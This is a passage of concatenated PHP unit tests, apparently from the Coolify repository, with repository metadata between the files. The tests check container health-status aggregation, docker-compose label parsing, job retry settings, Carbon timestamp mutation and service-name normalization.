expect($aggregatorFile)
->toContain('} elseif ($state === \'running\') {')
->toContain('$hasRunning = true;');
});
it('tracks unknown health state in aggregation', function () {
// State machine logic now in ContainerStatusAggregator service
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
// Verify that $hasUnknown tracking variable exists in the service
expect($aggregatorFile)
->toContain('$hasUnknown = false;');
// Verify that unknown state is detected in status parsing
expect($aggregatorFile)
->toContain("str(\$status)->contains('unknown')")
->toContain('$hasUnknown = true;');
});
it('preserves unknown health state in aggregated status with correct priority', function () {
// State machine logic now in ContainerStatusAggregator service (using colon format)
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
// Verify three-way priority in aggregation:
// 1. Unhealthy (highest priority)
// 2. Unknown (medium priority)
// 3. Healthy (only when all explicitly healthy)
expect($aggregatorFile)
->toContain('if ($hasUnhealthy) {')
->toContain("return 'running:unhealthy';")
->toContain('} elseif ($hasUnknown) {')
->toContain("return 'running:unknown';")
->toContain('} else {')
->toContain("return 'running:healthy';");
});
it('tracks unknown health state in ContainerStatusAggregator for all applications', function () {
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
// Verify that $hasUnknown tracking variable exists
expect($aggregatorFile)
->toContain('$hasUnknown = false;');
// Verify that unknown state is detected when health is null or 'starting'
expect($aggregatorFile)
->toContain('} elseif (is_null($health) || $health === \'starting\') {')
->toContain('$hasUnknown = true;');
});
it('preserves unknown health state in ContainerStatusAggregator aggregated status', function () {
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
// Verify three-way priority for running containers in the service
expect($aggregatorFile)
->toContain('if ($hasUnhealthy) {')
->toContain("return 'running:unhealthy';")
->toContain('} elseif ($hasUnknown) {')
->toContain("return 'running:unknown';")
->toContain('} else {')
->toContain("return 'running:healthy';");
// Verify ComplexStatusCheck delegates to the service
$complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
expect($complexStatusCheckFile)
->toContain('use App\\Services\\ContainerStatusAggregator;')
->toContain('$aggregator = new ContainerStatusAggregator;')
->toContain('$aggregator->aggregateFromContainers($relevantContainers);');
});
it('preserves unknown health state in Service model aggregation', function () {
$serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
// Verify unknown is handled correctly
expect($serviceFile)
->toContain("} elseif (\$health->value() === 'unknown') {")
->toContain("if (\$aggregateHealth !== 'unhealthy') {")
->toContain("\$aggregateHealth = 'unknown';");
// The pattern should appear at least once (Service model has different aggregation logic than ContainerStatusAggregator)
$unknownCount = substr_count($serviceFile, "} elseif (\$health->value() === 'unknown') {");
expect($unknownCount)->toBeGreaterThan(0);
});
it('handles starting state (created/starting) in GetContainersStatus', function () {
// State machine logic now in ContainerStatusAggregator service
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
// Verify tracking variable exists
expect($aggregatorFile)
->toContain('$hasStarting = false;');
// Verify detection for created/starting states
expect($aggregatorFile)
->toContain("str(\$status)->contains('created') || str(\$status)->contains('starting')")
->toContain('$hasStarting = true;');
// Verify aggregation returns starting status (colon format)
expect($aggregatorFile)
->toContain('if ($hasStarting) {')
->toContain("return 'starting:unknown';");
});
it('handles paused state in GetContainersStatus', function () {
// State machine logic now in ContainerStatusAggregator service
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
// Verify tracking variable exists
expect($aggregatorFile)
->toContain('$hasPaused = false;');
// Verify detection for paused state
expect($aggregatorFile)
->toContain("str(\$status)->contains('paused')")
->toContain('$hasPaused = true;');
// Verify aggregation returns paused status (colon format)
expect($aggregatorFile)
->toContain('if ($hasPaused) {')
->toContain("return 'paused:unknown';");
});
it('handles dead/removing states in GetContainersStatus', function () {
// State machine logic now in ContainerStatusAggregator service
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
// Verify tracking variable exists
expect($aggregatorFile)
->toContain('$hasDead = false;');
// Verify detection for dead/removing states
expect($aggregatorFile)
->toContain("str(\$status)->contains('dead') || str(\$status)->contains('removing')")
->toContain('$hasDead = true;');
// Verify aggregation returns degraded status (colon format)
expect($aggregatorFile)
->toContain('if ($hasDead) {')
->toContain("return 'degraded:unhealthy';");
});
it('handles edge case states in ContainerStatusAggregator for all containers', function () {
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
// Verify tracking variables exist in the service
expect($aggregatorFile)
->toContain('$hasStarting = false;')
->toContain('$hasPaused = false;')
->toContain('$hasDead = false;');
// Verify detection for created/starting
expect($aggregatorFile)
->toContain("} elseif (\$state === 'created' || \$state === 'starting') {")
->toContain('$hasStarting = true;');
// Verify detection for paused
expect($aggregatorFile)
->toContain("} elseif (\$state === 'paused') {")
->toContain('$hasPaused = true;');
// Verify detection for dead/removing
expect($aggregatorFile)
->toContain("} elseif (\$state === 'dead' || \$state === 'removing') {")
->toContain('$hasDead = true;');
});
it('handles edge case states in ContainerStatusAggregator aggregation', function () {
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
// Verify aggregation logic for edge cases in the service
expect($aggregatorFile)
->toContain('if ($hasDead) {')
->toContain("return 'degraded:unhealthy';")
->toContain('if ($hasPaused) {')
->toContain("return 'paused:unknown';")
->toContain('if ($hasStarting) {')
->toContain("return 'starting:unknown';");
});
it('handles edge case states in Service model', function () {
$serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
// Check for created/starting handling pattern
$createdStartingCount = substr_count($serviceFile, "\$status->startsWith('created') || \$status->startsWith('starting')");
expect($createdStartingCount)->toBeGreaterThan(0, 'created/starting handling should exist');
// Check for paused handling pattern
$pausedCount = substr_count($serviceFile, "\$status->startsWith('paused')");
expect($pausedCount)->toBeGreaterThan(0, 'paused handling should exist');
// Check for dead/removing handling pattern
$deadRemovingCount = substr_count($serviceFile, "\$status->startsWith('dead') || \$status->startsWith('removing')");
expect($deadRemovingCount)->toBeGreaterThan(0, 'dead/removing handling should exist');
});
it('appends :excluded suffix to excluded container statuses in GetContainersStatus', function () {
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
// Verify that we use the trait for calculating excluded status
expect($getContainersStatusFile)
->toContain('CalculatesExcludedStatus');
// Verify that we use the trait to calculate excluded status
expect($getContainersStatusFile)
->toContain('use CalculatesExcludedStatus;');
});
it('skips containers with :excluded suffix in Service model non-excluded sections', function () {
$serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
// Verify that we have exclude_from_status field handling
expect($serviceFile)
->toContain('exclude_from_status');
});
it('processes containers with :excluded suffix in Service model excluded sections', function () {
$serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
// Verify that we handle excluded status
expect($serviceFile)
->toContain(':excluded')
->toContain('exclude_from_status');
});
it('treats containers with starting health status as unknown in ContainerStatusAggregator', function () {
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
// Verify that 'starting' health status is treated the same as null (unknown)
// During Docker health check grace period, the health status is 'starting'
// This should be treated as 'unknown' rather than 'healthy'
expect($aggregatorFile)
->toContain('} elseif (is_null($health) || $health === \'starting\') {')
->toContain('$hasUnknown = true;');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DockerComposeRawSeparationTest.php | tests/Unit/DockerComposeRawSeparationTest.php | <?php
use App\Models\Application;
use Illuminate\Support\Facades\DB;
use Symfony\Component\Yaml\Yaml;
/**
* Integration test to verify docker_compose_raw remains clean after parsing
*/
it('verifies docker_compose_raw does not contain Coolify labels after parsing', function () {
// This test requires database, so skip if not available
if (! DB::connection()->getDatabaseName()) {
$this->markTestSkipped('Database not available');
}
// Create a simple compose file with volumes containing content
$originalCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- type: bind
source: ./config
target: /etc/nginx/conf.d
content: |
server {
listen 80;
}
labels:
- "my.custom.label=value"
YAML;
// Create application with mocked data
$app = new Application;
$app->docker_compose_raw = $originalCompose;
$app->uuid = 'test-uuid-123';
$app->name = 'test-app';
$app->compose_parsing_version = 3;
// Mock the destination and server relationships
$app->setRelation('destination', (object) [
'server' => (object) [
'proxyType' => fn () => 'traefik',
'settings' => (object) [
'generate_exact_labels' => true,
],
],
'network' => 'coolify',
]);
// Parse the YAML after running through the parser logic
$yamlAfterParsing = Yaml::parse($app->docker_compose_raw);
// Check that docker_compose_raw does NOT contain Coolify labels
$labels = data_get($yamlAfterParsing, 'services.web.labels', []);
$hasTraefikLabels = false;
$hasCoolifyManagedLabel = false;
foreach ($labels as $label) {
if (is_string($label)) {
if (str_contains($label, 'traefik.')) {
$hasTraefikLabels = true;
}
if (str_contains($label, 'coolify.managed')) {
$hasCoolifyManagedLabel = true;
}
}
}
// docker_compose_raw should NOT have Coolify additions
expect($hasTraefikLabels)->toBeFalse('docker_compose_raw should not contain Traefik labels');
expect($hasCoolifyManagedLabel)->toBeFalse('docker_compose_raw should not contain coolify.managed label');
// But it SHOULD still have the original custom label
$hasCustomLabel = false;
foreach ($labels as $label) {
if (str_contains($label, 'my.custom.label')) {
$hasCustomLabel = true;
}
}
expect($hasCustomLabel)->toBeTrue('docker_compose_raw should contain original user labels');
// Check that content field is removed
$volumes = data_get($yamlAfterParsing, 'services.web.volumes', []);
foreach ($volumes as $volume) {
if (is_array($volume)) {
expect($volume)->not->toHaveKey('content', 'content field should be removed from volumes');
}
}
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ScheduledJobsRetryConfigTest.php | tests/Unit/ScheduledJobsRetryConfigTest.php | <?php
use App\Jobs\CoolifyTask;
use App\Jobs\DatabaseBackupJob;
use App\Jobs\ScheduledTaskJob;
it('CoolifyTask has correct retry properties defined', function () {
$reflection = new ReflectionClass(CoolifyTask::class);
// Check public properties exist
expect($reflection->hasProperty('tries'))->toBeTrue()
->and($reflection->hasProperty('maxExceptions'))->toBeTrue()
->and($reflection->hasProperty('timeout'))->toBeTrue()
->and($reflection->hasMethod('backoff'))->toBeTrue();
// Get default values from class definition
$defaultProperties = $reflection->getDefaultProperties();
expect($defaultProperties['tries'])->toBe(3)
->and($defaultProperties['maxExceptions'])->toBe(1)
->and($defaultProperties['timeout'])->toBe(600);
});
it('ScheduledTaskJob has correct retry properties defined', function () {
$reflection = new ReflectionClass(ScheduledTaskJob::class);
// Check public properties exist
expect($reflection->hasProperty('tries'))->toBeTrue()
->and($reflection->hasProperty('maxExceptions'))->toBeTrue()
->and($reflection->hasProperty('timeout'))->toBeTrue()
->and($reflection->hasMethod('backoff'))->toBeTrue()
->and($reflection->hasMethod('failed'))->toBeTrue();
// Get default values from class definition
$defaultProperties = $reflection->getDefaultProperties();
expect($defaultProperties['tries'])->toBe(3)
->and($defaultProperties['maxExceptions'])->toBe(1)
->and($defaultProperties['timeout'])->toBe(300);
});
it('DatabaseBackupJob has correct retry properties defined', function () {
$reflection = new ReflectionClass(DatabaseBackupJob::class);
// Check public properties exist
expect($reflection->hasProperty('tries'))->toBeTrue()
->and($reflection->hasProperty('maxExceptions'))->toBeTrue()
->and($reflection->hasProperty('timeout'))->toBeTrue()
->and($reflection->hasMethod('backoff'))->toBeTrue()
->and($reflection->hasMethod('failed'))->toBeTrue();
// Get default values from class definition
$defaultProperties = $reflection->getDefaultProperties();
expect($defaultProperties['tries'])->toBe(2)
->and($defaultProperties['maxExceptions'])->toBe(1)
->and($defaultProperties['timeout'])->toBe(3600);
});
it('DatabaseBackupJob enforces minimum timeout of 60 seconds', function () {
// Read the constructor to verify minimum timeout enforcement
$reflection = new ReflectionClass(DatabaseBackupJob::class);
$constructor = $reflection->getMethod('__construct');
// Get the constructor source
$filename = $reflection->getFileName();
$startLine = $constructor->getStartLine();
$endLine = $constructor->getEndLine();
$source = file($filename);
$constructorSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
// Verify the implementation enforces minimum of 60 seconds
expect($constructorSource)
->toContain('max(')
->toContain('60');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DockerComposeLabelParsingTest.php | tests/Unit/DockerComposeLabelParsingTest.php | <?php
/**
* Unit tests to verify that docker compose label parsing correctly handles
* labels defined as YAML key-value pairs (e.g., "traefik.enable: true")
* which get parsed as arrays instead of strings.
*
* This test verifies the fix for the "preg_match(): Argument #2 ($subject) must
* be of type string, array given" error.
*/
it('ensures label parsing handles array values from YAML', function () {
// Read the parseDockerComposeFile function from shared.php
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
// Check that array handling is present before str() call
expect($sharedFile)
->toContain('// Handle array values from YAML (e.g., "traefik.enable: true" becomes an array)')
->toContain('if (is_array($serviceLabel)) {');
});
it('ensures label parsing converts array values to strings', function () {
// Read the parseDockerComposeFile function from shared.php
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
// Check that array to string conversion exists
expect($sharedFile)
->toContain('// Convert array values to strings')
->toContain('if (is_array($removedLabel)) {')
->toContain('$removedLabel = (string) collect($removedLabel)->first();');
});
it('verifies label parsing array check occurs before preg_match', function () {
// Read the parseDockerComposeFile function from shared.php
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
// Get the position of array check and str() call
$arrayCheckPos = strpos($sharedFile, 'if (is_array($serviceLabel)) {');
$strCallPos = strpos($sharedFile, "str(\$serviceLabel)->contains('=')");
// Ensure array check comes before str() call
expect($arrayCheckPos)
->toBeLessThan($strCallPos)
->toBeGreaterThan(0);
});
it('ensures traefik middleware parsing handles array values in docker.php', function () {
// Read the fqdnLabelsForTraefik function from docker.php
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
// Check that array handling is present before preg_match
expect($dockerFile)
->toContain('// Handle array values from YAML parsing (e.g., "traefik.enable: true" becomes an array)')
->toContain('if (is_array($item)) {');
});
it('ensures traefik middleware parsing checks string type before preg_match in docker.php', function () {
// Read the fqdnLabelsForTraefik function from docker.php
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
// Check that string type check exists
expect($dockerFile)
->toContain('if (! is_string($item)) {')
->toContain('return null;');
});
it('verifies array check occurs before preg_match in traefik middleware parsing', function () {
// Read the fqdnLabelsForTraefik function from docker.php
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
// Get the position of array check and preg_match call
$arrayCheckPos = strpos($dockerFile, 'if (is_array($item)) {');
$pregMatchPos = strpos($dockerFile, "preg_match('/traefik\\.http\\.middlewares\\.(.*?)(\\.|$)/', \$item");
// Ensure array check comes before preg_match call (find first occurrence after array check)
$pregMatchAfterArrayCheck = strpos($dockerFile, "preg_match('/traefik\\.http\\.middlewares\\.(.*?)(\\.|$)/', \$item", $arrayCheckPos);
expect($arrayCheckPos)
->toBeLessThan($pregMatchAfterArrayCheck)
->toBeGreaterThan(0);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServerManagerJobExecutionTimeTest.php | tests/Unit/ServerManagerJobExecutionTimeTest.php | <?php
use Illuminate\Support\Carbon;
afterEach(function () {
Carbon::setTestNow();
});
it('does not mutate Carbon instance when using copy() before subSeconds()', function () {
// This test verifies the fix for the bug where subSeconds() was mutating executionTime
$originalTime = Carbon::parse('2024-12-02 12:00:00');
$originalTimeString = $originalTime->toDateTimeString();
// Simulate what happens in processServerTasks() with the FIX applied
$waitTime = 360;
$threshold = $originalTime->copy()->subSeconds($waitTime);
// The original time should remain unchanged after using copy()
expect($originalTime->toDateTimeString())->toBe($originalTimeString);
expect($threshold->toDateTimeString())->toBe('2024-12-02 11:54:00');
});
it('demonstrates mutation bug when not using copy()', function () {
// This test shows what would happen WITHOUT the fix (the bug)
$originalTime = Carbon::parse('2024-12-02 12:00:00');
// Simulate what would happen WITHOUT copy() (the bug)
$waitTime = 360;
$threshold = $originalTime->subSeconds($waitTime);
// Without copy(), the original time is mutated!
expect($originalTime->toDateTimeString())->toBe('2024-12-02 11:54:00');
expect($threshold->toDateTimeString())->toBe('2024-12-02 11:54:00');
expect($originalTime)->toBe($threshold); // They're the same object
});
it('preserves executionTime across multiple subSeconds calls with copy()', function () {
// Simulate processing multiple servers with different wait times
$executionTime = Carbon::parse('2024-12-02 12:00:00');
$originalTimeString = $executionTime->toDateTimeString();
// Server 1: waitTime = 360s
$threshold1 = $executionTime->copy()->subSeconds(360);
expect($executionTime->toDateTimeString())->toBe($originalTimeString);
expect($threshold1->toDateTimeString())->toBe('2024-12-02 11:54:00');
// Server 2: waitTime = 300s (should still use original time)
$threshold2 = $executionTime->copy()->subSeconds(300);
expect($executionTime->toDateTimeString())->toBe($originalTimeString);
expect($threshold2->toDateTimeString())->toBe('2024-12-02 11:55:00');
// Server 3: waitTime = 360s (should still use original time)
$threshold3 = $executionTime->copy()->subSeconds(360);
expect($executionTime->toDateTimeString())->toBe($originalTimeString);
expect($threshold3->toDateTimeString())->toBe('2024-12-02 11:54:00');
// Server 4: waitTime = 300s (should still use original time)
$threshold4 = $executionTime->copy()->subSeconds(300);
expect($executionTime->toDateTimeString())->toBe($originalTimeString);
expect($threshold4->toDateTimeString())->toBe('2024-12-02 11:55:00');
// Server 5: waitTime = 360s (should still use original time)
$threshold5 = $executionTime->copy()->subSeconds(360);
expect($executionTime->toDateTimeString())->toBe($originalTimeString);
expect($threshold5->toDateTimeString())->toBe('2024-12-02 11:54:00');
// The executionTime should STILL be exactly the original time
expect($executionTime->toDateTimeString())->toBe('2024-12-02 12:00:00');
});
it('demonstrates compounding bug without copy() across multiple calls', function () {
// This shows the compounding bug that happens WITHOUT the fix
$executionTime = Carbon::parse('2024-12-02 12:00:00');
// Server 1: waitTime = 360s
$threshold1 = $executionTime->subSeconds(360);
expect($executionTime->toDateTimeString())->toBe('2024-12-02 11:54:00'); // MUTATED!
// Server 2: waitTime = 300s (uses already-mutated time)
$threshold2 = $executionTime->subSeconds(300);
expect($executionTime->toDateTimeString())->toBe('2024-12-02 11:49:00'); // Further mutated!
// Server 3: waitTime = 360s (uses even more mutated time)
$threshold3 = $executionTime->subSeconds(360);
expect($executionTime->toDateTimeString())->toBe('2024-12-02 11:43:00'); // Even more mutated!
// Server 4: waitTime = 300s
$threshold4 = $executionTime->subSeconds(300);
expect($executionTime->toDateTimeString())->toBe('2024-12-02 11:38:00');
// Server 5: waitTime = 360s
$threshold5 = $executionTime->subSeconds(360);
expect($executionTime->toDateTimeString())->toBe('2024-12-02 11:32:00');
// The executionTime is now 1680 seconds (28 minutes) earlier than it should be!
expect($executionTime->diffInSeconds(Carbon::parse('2024-12-02 12:00:00')))->toEqual(1680);
});
it('respects server timezone when evaluating cron schedules', function () {
// This test verifies that timezone parameter affects cron evaluation
// Set a fixed test time at 23:00 UTC
Carbon::setTestNow('2024-12-02 23:00:00', 'UTC');
$executionTime = Carbon::now();
$cronExpression = new \Cron\CronExpression('0 23 * * *'); // Every day at 11 PM
// Test 1: UTC timezone at 23:00 - should match
$timeInUTC = $executionTime->copy()->setTimezone('UTC');
expect($cronExpression->isDue($timeInUTC))->toBeTrue();
// Test 2: America/New_York timezone - 23:00 UTC is 18:00 EST, should not match 23:00 cron
$timeInEST = $executionTime->copy()->setTimezone('America/New_York');
expect($cronExpression->isDue($timeInEST))->toBeFalse();
// Test 3: Asia/Tokyo timezone - 23:00 UTC is 08:00 JST next day, should not match 23:00 cron
$timeInJST = $executionTime->copy()->setTimezone('Asia/Tokyo');
expect($cronExpression->isDue($timeInJST))->toBeFalse();
// Test 4: Verify copy() preserves the original time
expect($executionTime->toDateTimeString())->toBe('2024-12-02 23:00:00');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationParserStringableTest.php | tests/Unit/ApplicationParserStringableTest.php | <?php
/**
* Unit tests to verify that the applicationParser function in parsers.php
* properly converts Stringable objects to plain strings to fix strict
* comparison and collection key lookup issues.
*
* Related issue: Lines 539 and 541 in parsers.php were creating Stringable
* objects which caused:
* - Strict comparisons (===) to fail (line 606)
* - Collection key lookups to fail (line 615)
*/
it('ensures service name normalization returns plain strings not Stringable objects', function () {
// Test the exact transformations that happen in parsers.php lines 539-541
// Simulate what happens at line 520
$parsed = parseServiceEnvironmentVariable('SERVICE_URL_my-service');
$serviceName = $parsed['service_name']; // 'my-service'
// Line 539: $originalServiceName = str($serviceName)->replace('_', '-')->value();
$originalServiceName = str($serviceName)->replace('_', '-')->value();
// Line 541: $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
$serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
// Verify both are plain strings, not Stringable objects
expect(is_string($originalServiceName))->toBeTrue('$originalServiceName should be a plain string');
expect(is_string($serviceName))->toBeTrue('$serviceName should be a plain string');
expect($originalServiceName)->not->toBeInstanceOf(\Illuminate\Support\Stringable::class);
expect($serviceName)->not->toBeInstanceOf(\Illuminate\Support\Stringable::class);
// Verify the transformations work correctly
expect($originalServiceName)->toBe('my-service');
expect($serviceName)->toBe('my_service');
});
it('ensures strict comparison works with normalized service names', function () {
// This tests the fix for line 606 where strict comparison failed
// Simulate service name from docker-compose services array (line 604-605)
$serviceNameKey = 'my-service';
$transformedServiceName = str($serviceNameKey)->replace('-', '_')->replace('.', '_')->value();
// Simulate service name from environment variable parsing (line 520, 541)
$parsed = parseServiceEnvironmentVariable('SERVICE_URL_my-service');
$serviceName = $parsed['service_name'];
$serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
// Line 606: if ($transformedServiceName === $serviceName)
// This MUST work - both should be plain strings and match
expect($transformedServiceName === $serviceName)->toBeTrue(
'Strict comparison should work when both are plain strings'
);
expect($transformedServiceName)->toBe($serviceName);
});
it('ensures collection key lookup works with normalized service names', function () {
// This tests the fix for line 615 where collection->get() failed
// Simulate service name normalization (line 541)
$parsed = parseServiceEnvironmentVariable('SERVICE_URL_app-name');
$serviceName = $parsed['service_name'];
$serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
// Create a collection like $domains at line 614
$domains = collect([
'app_name' => [
'domain' => 'https://example.com',
],
]);
// Line 615: $domainExists = data_get($domains->get($serviceName), 'domain');
// This MUST work - $serviceName should be a plain string 'app_name'
$domainExists = data_get($domains->get($serviceName), 'domain');
expect($domainExists)->toBe('https://example.com', 'Collection lookup should find the domain');
expect($domainExists)->not->toBeNull('Collection lookup should not return null');
});
it('handles service names with dots correctly', function () {
// Test service names with dots (e.g., 'my.service')
$parsed = parseServiceEnvironmentVariable('SERVICE_URL_my.service');
$serviceName = $parsed['service_name'];
$serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
expect(is_string($serviceName))->toBeTrue();
expect($serviceName)->toBe('my_service');
// Verify it matches transformed service name from docker-compose
$serviceNameKey = 'my.service';
$transformedServiceName = str($serviceNameKey)->replace('-', '_')->replace('.', '_')->value();
expect($transformedServiceName === $serviceName)->toBeTrue();
});
it('handles service names with underscores correctly', function () {
// Test service names that already have underscores
$parsed = parseServiceEnvironmentVariable('SERVICE_URL_my_service');
$serviceName = $parsed['service_name'];
$serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
expect(is_string($serviceName))->toBeTrue();
expect($serviceName)->toBe('my_service');
});
it('handles mixed special characters in service names', function () {
// Test service names with mix of dashes, dots, underscores
$parsed = parseServiceEnvironmentVariable('SERVICE_URL_my-app.service_v2');
$serviceName = $parsed['service_name'];
$serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
expect(is_string($serviceName))->toBeTrue();
expect($serviceName)->toBe('my_app_service_v2');
// Verify collection operations work
$domains = collect([
'my_app_service_v2' => ['domain' => 'https://test.com'],
]);
$found = $domains->get($serviceName);
expect($found)->not->toBeNull();
expect($found['domain'])->toBe('https://test.com');
});
it('ensures originalServiceName conversion works for FQDN generation', function () {
// Test line 539: $originalServiceName conversion
$parsed = parseServiceEnvironmentVariable('SERVICE_URL_my_service');
$serviceName = $parsed['service_name']; // 'my_service'
// Line 539: Convert underscores to dashes for FQDN generation
$originalServiceName = str($serviceName)->replace('_', '-')->value();
expect(is_string($originalServiceName))->toBeTrue();
expect($originalServiceName)->not->toBeInstanceOf(\Illuminate\Support\Stringable::class);
expect($originalServiceName)->toBe('my-service');
// Verify it can be used in string interpolation (line 544)
$uuid = 'test-uuid';
$random = "$originalServiceName-$uuid";
expect($random)->toBe('my-service-test-uuid');
});
it('prevents duplicate domain entries in collection', function () {
// This tests that using plain strings prevents duplicate entries
// (one with Stringable key, one with string key)
$parsed = parseServiceEnvironmentVariable('SERVICE_URL_webapp');
$serviceName = $parsed['service_name'];
$serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
$domains = collect();
// Add domain entry (line 621)
$domains->put($serviceName, [
'domain' => 'https://webapp.com',
]);
// Try to lookup the domain (line 615)
$found = $domains->get($serviceName);
expect($found)->not->toBeNull('Should find the domain we just added');
expect($found['domain'])->toBe('https://webapp.com');
// Verify only one entry exists
expect($domains->count())->toBe(1);
expect($domains->has($serviceName))->toBeTrue();
});
it('verifies parsers.php has the ->value() calls', function () {
// Ensure the fix is actually in the code
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Line 539: Check originalServiceName conversion
expect($parsersFile)->toContain("str(\$serviceName)->replace('_', '-')->value()");
// Line 541: Check serviceName normalization
expect($parsersFile)->toContain("str(\$serviceName)->replace('-', '_')->replace('.', '_')->value()");
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ExcludeFromHealthCheckTest.php | tests/Unit/ExcludeFromHealthCheckTest.php | <?php
/**
* Unit tests to verify that applications and services with all containers
* excluded from health checks (exclude_from_hc: true) show correct status.
*
* These tests verify the fix for the issue where services with all containers
* excluded would show incorrect status, causing broken UI state.
*
* The fix now returns status with :excluded suffix to show real container state
* while indicating monitoring is disabled (e.g., "running:excluded").
*/
it('ensures ComplexStatusCheck returns excluded status when all containers excluded', function () {
$complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
// Check that when all containers are excluded, ComplexStatusCheck uses the trait
expect($complexStatusCheckFile)
->toContain('// If all containers are excluded, calculate status from excluded containers')
->toContain('// but mark it with :excluded to indicate monitoring is disabled')
->toContain('if ($relevantContainers->isEmpty()) {')
->toContain('return $this->calculateExcludedStatus($containers, $excludedContainers);');
// Check that the trait uses ContainerStatusAggregator and appends :excluded suffix
$traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
expect($traitFile)
->toContain('ContainerStatusAggregator')
->toContain('appendExcludedSuffix')
->toContain('$aggregator->aggregateFromContainers($excludedOnly)')
->toContain("return 'degraded:excluded';")
->toContain("return 'paused:excluded';")
->toContain("return 'exited';")
->toContain('return "$status:excluded";'); // For running:healthy:excluded
});
it('ensures Service model returns excluded status when all services excluded', function () {
$serviceModelFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
// Check that when all services are excluded from status checks,
// the Service model calculates real status and returns it with :excluded suffix
expect($serviceModelFile)
->toContain('exclude_from_status')
->toContain(':excluded')
->toContain('CalculatesExcludedStatus');
});
it('ensures Service model returns unknown:unknown:excluded when no containers exist', function () {
$serviceModelFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
// Check that when a service has no applications or databases at all,
// the Service model returns 'unknown:unknown:excluded' instead of 'exited'
// This prevents misleading status display when containers don't exist
expect($serviceModelFile)
->toContain('// If no status was calculated at all (no containers exist), return unknown')
->toContain('if ($excludedStatus === null && $excludedHealth === null) {')
->toContain("return 'unknown:unknown:excluded';");
});
it('ensures GetContainersStatus calculates excluded status when all containers excluded', function () {
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
// Check that when all containers are excluded, the aggregateApplicationStatus
// method calculates and returns status with :excluded suffix
expect($getContainersStatusFile)
->toContain('// If all containers are excluded, calculate status from excluded containers')
->toContain('if ($relevantStatuses->isEmpty()) {')
->toContain('return $this->calculateExcludedStatusFromStrings($containerStatuses);');
});
it('ensures exclude_from_hc flag is properly checked in ComplexStatusCheck', function () {
$complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
// Verify that exclude_from_hc is parsed using trait helper
expect($complexStatusCheckFile)
->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
});
